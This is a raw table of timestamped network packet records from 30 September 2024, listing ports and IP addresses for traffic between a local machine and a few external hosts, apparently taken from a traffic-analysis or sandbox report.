Sep 30, 2024 13:59:40.181910992 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181922913 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181945086 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.181962013 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.181978941 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181992054 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182024002 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.182060957 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182071924 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182081938 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182091951 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182099104 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.182102919 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182116032 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182126999 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.182153940 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.182212114 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182223082 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182235003 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182245016 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182250977 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.182256937 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182276964 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.182301044 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.182421923 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182432890 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182444096 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182454109 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182461023 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.182473898 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.182477951 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182490110 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182499886 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182502031 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.182533026 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.182585955 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182598114 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182607889 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182617903 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182625055 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.182640076 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182651043 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.182652950 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182666063 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182676077 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.182702065 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.182881117 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182933092 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182948112 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182979107 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.182979107 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.182990074 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.182991982 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183006048 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183012009 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.183032990 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.183032990 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183042049 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.183046103 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183058023 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183068037 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183079958 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183084965 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.183104992 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.183124065 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.183192968 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183218956 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183231115 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183264971 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183274031 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.183278084 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183290958 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183304071 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.183330059 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.183490992 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183504105 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183514118 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183523893 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183530092 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.183536053 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183546066 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183554888 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183558941 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.183567047 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183578014 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183587074 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183587074 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.183598042 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183603048 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.183609962 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183620930 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.183623075 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.183643103 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.183661938 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.184325933 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184449911 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184470892 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184483051 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184492111 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184494019 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.184505939 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184520960 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.184525013 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184533119 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.184536934 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184546947 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184556961 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184562922 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.184571028 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184581041 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184587002 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.184593916 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184608936 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.184637070 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.184638023 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184678078 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.184828043 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184875965 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.184904099 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184916019 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184926033 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184936047 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184940100 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.184956074 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.184959888 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184971094 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184971094 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.184983015 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.184998989 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.185030937 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.185050964 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.185062885 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.185072899 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.185082912 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.185091019 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.185125113 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.185236931 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.185249090 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.185264111 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.185272932 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.185272932 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.185285091 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.185290098 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.185296059 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.185298920 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.185303926 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.185305119 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.185316086 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.185322046 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.185352087 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.185367107 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.185369968 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.185384035 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.185425043 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.233530998 CEST	443	49724	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:40.233635902 CEST	443	49724	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:40.233712912 CEST	49724	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:40.262098074 CEST	49724	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:40.262128115 CEST	443	49724	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:40.262139082 CEST	49724	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:40.262145042 CEST	443	49724	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:40.270188093 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.270206928 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.270225048 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.270236015 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.270246983 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.270257950 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.270270109 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.270278931 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.270281076 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.270323038 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.270334959 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.270361900 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.270373106 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.270401001 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.270411015 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.270411968 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.270426035 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.270441055 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.270471096 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.435216904 CEST	49725	443	192.168.2.6	104.102.49.254
Sep 30, 2024 13:59:40.435250998 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:40.435314894 CEST	49725	443	192.168.2.6	104.102.49.254
Sep 30, 2024 13:59:40.435692072 CEST	49725	443	192.168.2.6	104.102.49.254
Sep 30, 2024 13:59:40.435700893 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:40.486860037 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:40.491749048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:41.094599009 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:41.094662905 CEST	49725	443	192.168.2.6	104.102.49.254
Sep 30, 2024 13:59:41.098268986 CEST	49725	443	192.168.2.6	104.102.49.254
Sep 30, 2024 13:59:41.098275900 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:41.098542929 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:41.102159977 CEST	49725	443	192.168.2.6	104.102.49.254
Sep 30, 2024 13:59:41.143405914 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:41.272193909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:41.272248030 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:41.273597956 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.278429031 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458266020 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458297014 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458317995 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458328962 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458334923 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458336115 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458339930 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458352089 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458364964 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458369970 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458375931 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458388090 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458391905 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458399057 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458410978 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458445072 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458445072 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458462000 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458473921 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458484888 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458496094 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458503962 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458507061 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458519936 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458534956 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458544016 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458556890 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458578110 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458587885 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458606958 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458616018 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458616972 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458616972 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458616972 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458627939 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458638906 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458650112 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458661079 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458669901 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458669901 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458709002 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458726883 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458736897 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458746910 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458767891 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458780050 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458790064 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458794117 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458795071 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458801985 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458827972 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458836079 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458847046 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458851099 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458873987 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458884001 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458884954 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458898067 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458908081 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458908081 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458951950 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.458969116 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458980083 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.458997011 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459007978 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459017038 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459027052 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459027052 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459028006 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459096909 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459110975 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459112883 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459112883 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459124088 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459135056 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459135056 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459156036 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459187984 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459187984 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459187984 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459198952 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459209919 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459220886 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459228039 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459235907 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459286928 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459286928 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459286928 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459316969 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459327936 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459337950 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459348917 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459358931 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459368944 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459374905 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459374905 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459381104 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459399939 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459425926 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459443092 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459450006 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459460974 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459470987 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459522009 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459532976 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459548950 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459553957 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459553957 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459553957 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459559917 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459572077 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459582090 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459589958 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459594965 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459630013 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459630013 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459640980 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459650993 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459661961 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459738016 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459738016 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459755898 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459768057 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459779024 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459789038 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459795952 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459800959 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459813118 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459825039 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459832907 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459834099 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459851980 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459904909 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.459908009 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459919930 CEST	80	49723	147.45.44.104	192.168.2.6
